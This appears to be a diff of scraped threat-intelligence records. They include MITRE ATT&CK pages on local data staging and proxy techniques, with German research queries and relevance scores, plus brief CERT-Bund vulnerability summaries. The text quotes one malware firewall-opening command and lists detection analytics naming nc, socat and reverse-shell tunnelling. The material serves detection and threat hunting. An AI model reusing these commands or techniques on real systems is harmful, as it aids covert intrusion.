exfiltration. [78]\n\nS9036\n\nLP-Notes\n\nLP-Notes has stored collected credentials in C:\\Users\\Public\\Downloads\\lp-notes.txt . [79]\n\nS1213\n\nLumma Stealer\n\nLumma Stealer has configured a custom user data directory such as a folder within %USERPROFILE%\\AppData\\Roaming for staging data. [80]\n\nS1142\n\nLunarMail\n\nLunarMail can create a directory in %TEMP%\\ to stage data prior to exfilration. [81]\n\nS0409\n\nMachete\n\nMachete stores files and logs in a folder on the local drive. [82] [83]\n\nS1016\n\nMacMa\n\nMacMa has stored collected files locally before exfiltration. [84]\n\nS1060\n\nMafalda\n\nMafalda can place retrieved files into a destination directory. [85]\n\nS0652\n\nMarkiRAT\n\nMarkiRAT can store collected data locally in a created .nfo file. [86]\n\nG0045\n\nmenuPass\n\nmenuPass stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin. [87]\n\nS0443\n\nMESSAGETAP\n\nMESSAGETAP stored targeted SMS messages that matched its target list in CSV files on the compromised system. [88]\n\nS1059\n\nmetaMain\n\nmetaMain has stored the collected system files in a working directory. [85] [89]\n\nS1015\n\nMilan\n\nMilan has saved files prior to upload from a compromised host to folders beginning with the characters a9850d2f . [90]\n\nS9022\n\nMirrorStealer\n\nMirrorStealer has stored stolen credentials on the local machine in %TEMP%\\31558.txt . [76]\n\nS0084\n\nMis-Type\n\nMis-Type has temporarily stored collected information to the files \"%AppData%\\{Unique Identifier}\\HOSTRURKLSR\" and \"%AppData%\\{Unique Identifier}\\NEWERSSEMP\" . [91]\n\nS0149\n\nMoonWind\n\nMoonWind saves information from its keylogging routine as a .zip file in the present working directory. [92]\n\nG0069\n\nMuddyWater\n\nMuddyWater has stored a decoy PDF file within a victim's %temp% folder. [93]\n\nG0129\n\nMustang Panda\n\nMustang Panda has stored collected credential files in c:\\windows\\temp prior to exfiltration. Mustang Panda has also stored documents for exfiltration in a hidden folder on USB drives. [94] [95]\n\nS0247\n\nNavRAT\n\nNavRAT writes multiple outputs to a TMP file using the \u003e\u003e method. [96]\n\nS0198\n\nNETWIRE\n\nNETWIRE has the ability to write collected data to a file created in the ./LOGS directory. [97]\n\nS1090\n\nNightClub\n\nNightClub has copied captured files and keystrokes to the %TEMP% directory of compromised hosts. [98]\n\nS0353\n\nNOKKI\n\nNOKKI can collect data from the victim and stage it in LOCALAPPDATA%\\MicroSoft Updatea\\uplog.tmp . [99]\n\nS0644\n\nObliqueRAT\n\nObliqueRAT can copy specific files, webcam captures, and screenshots to local directories. [100]\n\nS0340\n\nOctopus\n\nOctopus has stored collected information in the Application Data directory on a compromised host. [101] [102]\n\nS1172\n\nOilBooster\n\nOilBooster can stage files in the tempFiles directory for exfiltration. [103]\n\nS0264\n\nOopsIE\n\nOopsIE stages the output from command execution and collected files in specific folders before exfiltration. [104]\n\nC0006\n\nOperation Honeybee\n\nDuring Operation Honeybee , stolen data was copied into a text file using the format From \u003cCOMPUTER-NAME\u003e (\u003cMonth\u003e-\u003cDay\u003e \u003cHour\u003e-\u003cMinute\u003e-\u003cSecond\u003e).txt prior to compression, encoding, and exfiltration. [105]\n\nC0048\n\nOperation MidnightEclipse\n\nDuring Operation MidnightEclipse , threat actors copied files to the web application folder on compromised devices for exfiltration. [106]\n\nC0014\n\nOperation Wocao\n\nDuring Operation Wocao , threat actors staged archived files in a temporary directory prior to exfiltration. [107]\n\nS1109\n\nPACEMAKER\n\nPACEMAKER has written extracted data to tmp/dsserver-check.statementcounters . [108]\n\nS1233\n\nPAKLOG\n\nPAKLOG has stored the captured data in a file located C:\\\\Users\\\\Public\\\\Libraries\\\\record.txt . [33]\n\nG0040\n\nPatchwork\n\nPatchwork copied all targeted files to a directory called index that was eventually uploaded to the C\u0026C server. [18]\n\nS0013\n\nPlugX\n\nPlugX has collected and staged the victim’s computer files for exfiltration. [109]\n\nS0012\n\nPoisonIvy\n\nPoisonIvy stages collected data", - "content_type": "text/html", - "query": "Welche Rolle spielt T1074.001 bei der Erkennung von APT5 und MuddyWater in der Threat Intelligence?", - "language": "de-DE", - "round": 1, - "fetched": true, - "relevant": true, - "relevance": 0.850909090909091, - "source_quality": "primary", - "source_quality_score": 0.896, - "actionable": true, - "covered_gap_ids": [ - "AR-3444d441-1" - ], - "assessment_reason": "Die Quelle beschreibt T1074.001 als 'Local Data Staging' und gibt konkrete Beispiele für APT5, die Daten lokal auf Systemen stagen, was direkt auf die Frage nach der Rolle von T1074.001 bei der Erkennung von APT5 und MuddyWater in der Threat Intelligence Bezug nimmt. Es wird auch erwähnt, dass MuddyWater Daten in einem lokalen Verzeichnis stagen kann, was die Relevanz der Quelle für die konkrete Frage erhöht." - } -} diff --git a/data/research-evidence/ed4293860f6c9355d073b86f.json b/data/research-evidence/ed4293860f6c9355d073b86f.json deleted file mode 100644 index babe724..0000000 --- a/data/research-evidence/ed4293860f6c9355d073b86f.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:51:07.3803591Z", - "content_sha256": "fe0aad5c0fae2987e9c96cb3a04f052f09cf4c29b52a56804ccaccdb062c5e07", - "result": { - "title": "[UPDATE] [hoch] AMD ARM und EPYC Prozessoren: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1859", - "snippet": "Ein lokaler Angreifer kann mehrere Schwachstellen in AMD ARM und EPYC Prozessoren ausnutzen, um Sicherheitsvorkehrungen zu umgehen und Daten zu manipulieren.", - "content": "Ein lokaler Angreifer kann mehrere Schwachstellen in AMD ARM und EPYC Prozessoren ausnutzen, um Sicherheitsvorkehrungen zu umgehen und Daten zu manipulieren.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6407020333819804, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/ee0cc3d197dc623f715a2991.json b/data/research-evidence/ee0cc3d197dc623f715a2991.json deleted file mode 100644 index ddc81ec..0000000 --- a/data/research-evidence/ee0cc3d197dc623f715a2991.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:33:54.2345305Z", - "content_sha256": "e4e49d93d93f0263a907c58371b865153ef833139f05c51232e807fd337aa247", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1385", - "snippet": "Ein lokaler Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen Denial of Service zu verursachen, Informationen offenzulegen, Sicherheitsmaßnahmen zu umgehen oder potentiell beliebigen Programmcode auszuführen.", - "content": "Ein lokaler Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen Denial of Service zu verursachen, Informationen offenzulegen, Sicherheitsmaßnahmen zu umgehen oder potentiell beliebigen Programmcode auszuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7069245402712303, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/ef6a5dd207307bc60179456e.json b/data/research-evidence/ef6a5dd207307bc60179456e.json deleted file mode 100644 index 9b6021c..0000000 --- a/data/research-evidence/ef6a5dd207307bc60179456e.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T03:25:57.3577546Z", - "content_sha256": "d9931314dc714e7649f41001fa35219a7f04f699a4801e65127aac6f76569aa1", - "result": { - "title": "Proxy, Technique T1090 - Enterprise | MITRE ATT\u0026CK®", - "url": "https://attack.mitre.org/techniques/T1090/", - "snippet": "Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.", - "content": "Proxy, Technique T1090 - Enterprise | MITRE ATT\u0026CK®\n\nATT\u0026CKcon 7.0 in-person tickets are open! Join us October 27-28, 2026 in McLean, VA. Register here for in-person tickets; hotel and location details can be found in the FAQ .\n\nHome\n\nTechniques\n\nEnterprise\n\nProxy\n\nProxy\n\nSub-techniques (4)\n\nID\n\nName\n\nT1090.001\n\nInternal Proxy\n\nT1090.002\n\nExternal Proxy\n\nT1090.003\n\nMulti-hop Proxy\n\nT1090.004\n\nDomain Fronting\n\nAdversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. [1] Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\n\nID: T1090\n\nSub-techniques:\nT1090.001 , T1090.002 , T1090.003 , T1090.004\n\nTactic:\nCommand and Control\n\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nContributors: Heather Linn; Jon Sheedy; Walker Johnson\n\nVersion: 3.2\n\nCreated: 31 May 2017\n\nLast Modified: 12 May 2026\n\nVersion Permalink\n\nLive Version\n\nProcedure Examples\n\nID\n\nName\n\nDescription\n\nC0063\n\n2025 Poland Wiper Attacks\n\nDuring the 2025 Poland Wiper Attacks , the adversaries utilized the rsocx tool identified as r.exe and rsocx.exe to tunnel within the internal infrastructure using a Reverse SOCKS Proxy. [2] [3]\n\nG0096\n\nAPT41\n\nAPT41 used a tool called CLASSFON to covertly proxy network communications. [4]\n\nS0456\n\nAria-body\n\nAria-body has the ability to use a reverse SOCKS proxy module. [5]\n\nS0347\n\nAuditCred\n\nAuditCred can utilize proxy for communications. [6]\n\nS0245\n\nBADCALL\n\nBADCALL functions as a proxy server between the victim and C2 server. [7]\n\nS1081\n\nBADHATCH\n\nBADHATCH can use SOCKS4 and SOCKS5 proxies to connect to actor-controlled C2 servers. BADHATCH can also emulate a reverse proxy on a compromised machine to connect with actor-controlled C2 servers. [8]\n\nS0268\n\nBisonal\n\nBisonal has supported use of a proxy server. [9]\n\nG0108\n\nBlue Mockingbird\n\nBlue Mockingbird has used FRP , ssf, and Venom to establish SOCKS proxy connections. [10]\n\nC0017\n\nC0017\n\nDuring C0017 , APT41 used the Cloudflare CDN to proxy C2 traffic. [11]\n\nC0027\n\nC0027\n\nDuring C0027 , Scattered Spider installed the open-source rsocx reverse proxy tool on a targeted ESXi appliance. [12]\n\nS0348\n\nCardinal RAT\n\nCardinal RAT can act as a reverse proxy. [13]\n\nG1021\n\nCinnamon Tempest\n\nCinnamon Tempest has used a customized version of the Iox port-forwarding and proxy tool. [14]\n\nG1052\n\nContagious Interview\n\nContagious Interview has leveraged Astrill VPN for C2. [15]\n\nG0052\n\nCopyKittens\n\nCopyKittens has used the AirVPN service for operational activity. [16]\n\nS0384\n\nDridex\n\nDridex contains a backconnect module for tunneling network traffic through a victim's computer. Infected computers become part of a P2P botnet that can relay C2 traffic to other infected peers. [17] [18]\n\nG1006\n\nEarth Lusca\n\nEarth Lusca adopted Cloudflare as a proxy for compromised servers. [19]\n\nG0117\n\nFox Kitten\n\nFox Kitten has used the open source reverse proxy tools including FRPC and Go Proxy to establish connections from C2 to local servers. [20] [21] [22]\n\nS1144\n\nFRP\n\nFRP can proxy communications through a server in public IP space to local servers located behind a NAT or firewall. [23]\n\nS1044\n\nFunnyDream\n\nFunnyDream can identify and use configured proxies in a compromised network for C2 communication. [24]\n\nG0047\n\nGamaredon Group\n\nGamaredon Group has used the Cloudflare Tunnel client to proxy C2 traffic. [25]\n\nS1197\n\nGoBear\n\nGoBear implements SOCKS5 proxy functionality. [26]\n\nS0690\n\nGreen Lambert\n\nGreen Lambert can use proxies for C2 traffic. [27] [28]\n\nS0246\n\nHARDRAIN\n\nHARDRAIN uses the command cmd.exe /c netsh firewall add portopening TCP 443 \"adp\" and makes the victim machine function as a proxy server. [29]\n\nS1229\n\nHavoc\n\nHavoc has the ability to route HTTP/S communications through designated proxies. [30]\n\nS0376\n\nHOPLIGHT\n\nHOPLIGHT has multiple proxy options that mask traffic between the malware and the remote operators. [31]\n\nS0040\n\nHTRAN\n\nHTRAN can proxy TCP socket connections to obfuscate command and control infrastructure. [32] [33]\n\nS0283\n\njRAT\n\njRAT can serve as a SOCKS proxy server. [34]\n\nS9044\n\nKali365\n\nKali365 has leveraged Cloudflare workers as reverse proxy infrastructure. [35] [36] [37]\n\nS1190\n\nKapeka\n\nKapeka can identify system proxy settings via WinHttpGetIEProxyConfigForCurrentUser() during initialization and utilize these settings for subsequent command and control operations. [38]\n\nS0487\n\nKessel\n\nKessel can use a proxy during exfiltration if set in the configuration. [39]\n\nS1051\n\nKEYPLUG\n\nKEYPLUG has used Cloudflare CDN associated infrastructure to redirect C2 communications to malicious domains. [11]\n\nS0669\n\nKOCTOPUS\n\nKOCTOPUS has deployed a modified version of Invoke-Ngrok to expose open local ports to the Internet. [40]\n\nG1004\n\nLAPSUS$\n\nLAPSUS$ has leverage NordVPN for its egress points when targeting intended victims. [41]\n\nS1121\n\nLITTLELAMB.WOOLTEA\n\nLITTLELAMB.WOOLTEA has the ability to function as a SOCKS proxy. [42]\n\nS1141\n\nLunarWeb\n\nLunarWeb has the ability to use a HTTP proxy server for C\u0026C communications. [43]\n\nG0059\n\nMagic Hound\n\nMagic Hound has used Fast Reverse Proxy (FRP) for RDP traffic. [44]\n\nG1054\n\nMirrorFace\n\nMirrorFace has used the GO Simple Tunnel (GOST) proxy tool. [45]\n\nG1019\n\nMoustachedBouncer\n\nMoustachedBouncer has used a reverse proxy tool similar to the GitHub repository revsocks. [46]\n\nG0069\n\nMuddyWater\n\nMuddyWater has used NordVPN to proxy phishing emails, making them appear to originate from France. [47]\n\nS1189\n\nNeo-reGeorg\n\nNeo-reGeorg has the ability to establish a SOCKS5 proxy on a compromised web server. [48]\n\nS0108\n\nnetsh\n\nnetsh can be used to set up a proxy tunnel to allow remote host access to an infected host. [49]\n\nS0198\n\nNETWIRE\n\nNETWIRE can implement use of proxies to pivot traffic. [50]\n\nS0508\n\nngrok\n\nngrok can be used to proxy connections to machines located behind NAT or firewalls. [51] [52]\n\nC0048\n\nOperation MidnightEclipse\n\nDuring Operation MidnightEclipse , threat actors used the GO Simple Tunnel reverse proxy tool. [53]\n\nC0013\n\nOperation Sharpshooter\n\nFor Operation Sharpshooter , the threat actors used the ExpressVPN service to hide their location. [54]\n\nC0014\n\nOperation Wocao\n\nDuring Operation Wocao , threat actors used a custom proxy tool called \"Agent\" which has support for multiple hops. [55]\n\nS0435\n\nPLEAD\n\nPLEAD has the ability to proxy network communications. [56]\n\nG1005\n\nPOLONIUM\n\nPOLONIUM has used the AirVPN service for operational activity. [16]\n\nS0378\n\nPoshC2\n\nPoshC2 contains modules that allow for use of proxies in command and control. [57]\n\nS0262\n\nQuasarRAT\n\nQuasarRAT can communicate over a reverse proxy using SOCKS5. [58] [59]\n\nS0629\n\nRainyDay\n\nRainyDay can use proxy tools including boost_proxy_client for reverse proxy functionality. [60]\n\nS1212\n\nRansomHub\n\nRansomHub can use a proxy to connect to remote SFTP servers. [61]\n\nC0047\n\nRedDelta Modified PlugX Infection Chain Operations\n\nMustang Panda proxied communication through the Cloudflare CDN service during RedDelta Modified PlugX Infection Chain Operations . [62]\n\nC0056\n\nRedPenguin\n\nDuring RedPenguin , UNC3886 used malware capable of establishing a SOCKS proxy connection to a specified IP and port. [63] [64]\n\nS1187\n\nreGeorg\n\nreGeorg can establish an HTTP or SOCKS proxy to tunnel data in and out of a network. [65] [66] [67]\n\nS0332\n\nRemcos\n\nRemcos uses the infected hosts as SOCKS5 proxies to allow for tunneling and proxying. [68] [69]\n\nS1210\n\nSagerunex\n\nSagerunex uses several proxy configuration settings to ensure connectivity. [70]\n\nC0059\n\nSalesforce Data Exfiltration\n\nDuring Salesforce Data Exfiltration , threat actors used Mullvad VPN IPs to proxy voice phishing calls. [71]\n\nS1099\n\nSamurai\n\nSamurai has the ability to proxy connections to specified remote IPs and ports through a a proxy module. [72]\n\nG0034\n\nSandworm Team\n\nSandworm Team 's BCS-server tool can create an internal proxy server to redirect traffic from the adversary-controlled C2 to internal servers which may not be connected to the internet, but are interconnected locally. [73]\n\nG1015\n\nScattered Spider\n\nScattered Spider has used proxy networks to hamper detection and has installed legitimate proxy tools on VMware vCenter and adversary-controlled VMs. [74] [75]\n\nS0461\n\nSDBbot\n\nSDBbot has the ability to use port forwarding to establish a proxy between a target host and C2. [76]\n\nC0058\n\nSharePoint ToolShell Exploitation\n\nDuring SharePoint ToolShell Exploitation , threat actors used Fast Reverse Proxy to communicate with C2. [77] [78]\n\nS0273\n\nSocksbot\n\nSocksbot can start SOCKS proxy threads. [79]\n\nS0615\n\nSombRAT\n\nSombRAT has the ability to use an embedded SOCKS proxy in C2 communications. [80]\n\nS0436\n\nTSCookie\n\nTSCookie has the ability to proxy communications with command and control (C2) servers. [81]\n\nG0010\n\nTurla\n\nTurla RPC backdoors have included local UPnP RPC proxies. [82]\n\nS0263\n\nTYPEFRAME\n\nA TYPEFRAME variant can force the compromised system to function as a proxy server. [83]\n\nS0386\n\nUrsnif\n\nUrsnif has used a peer-to-peer (P2P) network for C2. [84] [85]\n\nS0207\n\nVasport\n\nVasport is capable of tunneling though a proxy. [86]\n\nG1017\n\nVolt Typhoon\n\nVolt Typhoon has used compromised devices and customized versions of open source tools such as FRP (Fast Reverse Proxy), Earthworm, and Impacket to proxy network traffic. [87] [88] [89]\n\nS0670\n\nWarzoneRAT\n\nWarzoneRAT has the capability to act as a reverse proxy. [90]\n\nG0124\n\nWindigo\n\nWindigo has delivered a generic Windows proxy Win32/Glubteta.M. Windigo has also used multiple reverse proxy chains as part of their C2 infrastructure. [91]\n\nS0117\n\nXTunnel\n\nXTunnel relays traffic between a C2 server and a victim. [92]\n\nS1114\n\nZIPLINE\n\nZIPLINE can create a proxy server on compromised hosts. [93] [94]\n\nS0412\n\nZxShell\n\nZxShell can set up an HTTP or SOCKS proxy. [4] [95]\n\nMitigations\n\nID\n\nMitigation\n\nDescription\n\nM1037\n\nFilter Network Traffic\n\nTraffic to known anonymity networks and C2 infrastructure can be blocked through the use of network allow and block lists. It should be noted that this kind of blocking may be circumvented by other techniques like Domain Fronting .\n\nM1031\n\nNetwork Intrusion Prevention\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. [96]\n\nM1020\n\nSSL/TLS Inspection\n\nIf it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be domain fronting.\n\nDetection Strategy\n\nID\n\nName\n\nAnalytic ID\n\nAnalytic Description\n\nDET0445\n\nDetection of Proxy Infrastructure Setup and Traffic Bridging\n\nAN1229\n\nSuspicious process spawning (e.g., rundll32 , svchost , powershell , or netsh ) followed by network connection creation to internal hosts or uncommon external endpoints on high or non-standard ports.\n\nAN1230\n\nUser-space tools (e.g., socat , ncat , iptables , ssh ) used in non-standard ways to establish reverse shells, port-forwarding, or inter-host connections. Often chained with uncommon outbound destinations or SSH tunnels.\n\nAN1231\n\nAppleScript, LaunchAgents, or remote login services ( ssh , networksetup ) establishing proxy tunnels or dynamic port forwards to external IPs or alternate local hosts.\n\nAN1232\n\nDirect use of nc , socat , or reverse tunnel scripts initiated by abnormal user contexts or unauthorized VIBs initiating connections from hypervisor to external systems.\n\nAN1233\n\nDynamic or static port forwarding rules added to route traffic through an internal host, or configuration changes to proxy firewall rules not aligned with baselined policy.\n\nReferences\n\nWilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.\n\nCERT Polska. (2026, January 30). Energy Sector Incident Report – 29 December. Retrieved April 22, 2026.\n\nESET. (2026, January 30). DynoWiper update: Technical analysis and attribution. Retrieved April 22, 2026.\n\nFraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.\n\nCheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020.\n\nTrend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.\n\nUS-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.\n\nVrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.\n\nMercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022.\n\nLambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.\n\nRufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.\n\nParisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations R", - "content_type": "text/html", - "query": "Wie können die TTPs von T1007, T1049 und T1090 in der Praxis zur Verbesserung der Threat Hunting-Strategien genutzt werden?", - "language": "de-DE", - "round": 3, - "fetched": true, - "relevant": true, - "relevance": 0.6893333333333335, - "source_quality": "primary", - "source_quality_score": 0.8560000000000001, - "actionable": true, - "covered_gap_ids": [ - "AR-95b14336-6" - ], - "assessment_reason": "Die Quelle beschreibt die Technik T1090 aus der MITRE ATT\u0026CK®-Datenbank, die direkt zur Frage relevant ist. Sie liefert eine detaillierte Beschreibung der Technik, ihrer Subtechniken und Beispiele für Anwendungen in realen Angriffen. Dies ist relevant für die Frage, wie TTPs in der Praxis zur Verbesserung der Threat Hunting-Strategien genutzt werden können. Allerdings enthält die Quelle keine konkreten, umsetzbaren Schritte oder Prüfkriterien, die direkt zur Verbesserung der Strategien führen. Die Quelle ist jedoch fachlich verlässlich und bietet eine belastbare Definition der Technik." - } -} diff --git a/data/research-evidence/ef8695ac1fd124a3da35b687.json b/data/research-evidence/ef8695ac1fd124a3da35b687.json deleted file mode 100644 index 001fd00..0000000 --- a/data/research-evidence/ef8695ac1fd124a3da35b687.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:45:37.1534599Z", - "content_sha256": "b8e37f2a1bb309e3efaf230909ef2a3435ac791acb738142e566ceb739bb9e33", - "result": { - "title": "[UPDATE] [hoch] ffmpeg: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2491", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in ffmpeg ausnutzen, um beliebigen Code auszuführen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand herbeizuführen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in ffmpeg ausnutzen, um beliebigen Code auszuführen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand herbeizuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6571690056549071, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/f1131c9deaf952da3f21c5fe.json b/data/research-evidence/f1131c9deaf952da3f21c5fe.json deleted file mode 100644 index f9823fb..0000000 --- a/data/research-evidence/f1131c9deaf952da3f21c5fe.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:55:12.0005564Z", - "content_sha256": "f4de45a1257e6793b6923a0d72ea3516eb075fbd2ad957741bbcaa635cb15d72", - "result": { - "title": "[UPDATE] [hoch] Bouncy Castle: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2622", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Bouncy Castle ausnutzen, um Sicherheitsvorkehrungen zu umgehen, Daten zu manipulieren, sensible Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Bouncy Castle ausnutzen, um Sicherheitsvorkehrungen zu umgehen, Daten zu manipulieren, sensible Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6211079407568687, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/f252a7ccc7d5370594a75272.json b/data/research-evidence/f252a7ccc7d5370594a75272.json deleted file mode 100644 index 0141023..0000000 --- a/data/research-evidence/f252a7ccc7d5370594a75272.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:37:40.906119Z", - "content_sha256": "a0ec1290c8f127f9279b4bcaf129a887ff74ac40384fd7f18611276dc6e1d45d", - "result": { - "title": "[UPDATE] [mittel] Golang Go: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2025-2724", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um Sicherheitsvorkehrungen zu umgehen, und um einen Denial of Service Angriff durchzuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um Sicherheitsvorkehrungen zu umgehen, und um einen Denial of Service Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6913264895371578, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/f5081481cfb965123b7106e9.json b/data/research-evidence/f5081481cfb965123b7106e9.json deleted file mode 100644 index 811e6dc..0000000 --- a/data/research-evidence/f5081481cfb965123b7106e9.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:51:43.5984745Z", - "content_sha256": "c70d9cad1454551281462b6ea9a46623ec81946e039fd8b4933d03fa4e46e807", - "result": { - "title": "[UPDATE] [hoch] PowerDNS: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2091", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in PowerDNS ausnutzen, um Denial-of-Service-Zustände herbeizuführen, DNS-Caches zu manipulieren, Sicherheitsprüfungen zu umgehen, vertrauliche Informationen offenzulegen, DNSSEC-Validierungen zu beeinträchtigen oder die Integrität und Verfügbarkeit der DNS-Auflösung zu beeinflussen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in PowerDNS ausnutzen, um Denial-of-Service-Zustände herbeizuführen, DNS-Caches zu manipulieren, Sicherheitsprüfungen zu umgehen, vertrauliche Informationen offenzulegen, DNSSEC-Validierungen zu beeinträchtigen oder die Integrität und Verfügbarkeit der DNS-Auflösung zu beeinflussen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.637538950040516, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/fae2169b2df2cf792c6e2443.json b/data/research-evidence/fae2169b2df2cf792c6e2443.json deleted file mode 100644 index 179cc9b..0000000 --- a/data/research-evidence/fae2169b2df2cf792c6e2443.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:49:36.8757589Z", - "content_sha256": "3549377d6bb27e64cec1a7621952ac62c29ea81cda1c5660d3b9c793650f8cba", - "result": { - "title": "[UPDATE] [mittel] Internet Systems Consortium BIND: Mehrere Schwachstellen ermöglichen Denial of Service", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2023-0207", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Internet Systems Consortium BIND ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Internet Systems Consortium BIND ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.646563319824337, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/fb00cde5e4a00c1e64e43795.json b/data/research-evidence/fb00cde5e4a00c1e64e43795.json deleted file mode 100644 index 771d499..0000000 --- a/data/research-evidence/fb00cde5e4a00c1e64e43795.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:52:12.5836712Z", - "content_sha256": "d89619d7cffb4ad8168c533c18b982610461125a6b6a6a176ff21717e6ec3ff8", - "result": { - "title": "[NEU] [hoch] Sophos Endpoint: Schwachstelle ermöglicht Privilegieneskalation und Ausführen von beliebigem Programmcode mit Administratorrechten", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2690", - "snippet": "Ein lokaler Angreifer kann eine Schwachstelle in Sophos Endpoint ausnutzen, um seine Privilegien zu erhöhen, und um beliebigen Programmcode mit Administratorrechten auszuführen.", - "content": "Ein lokaler Angreifer kann 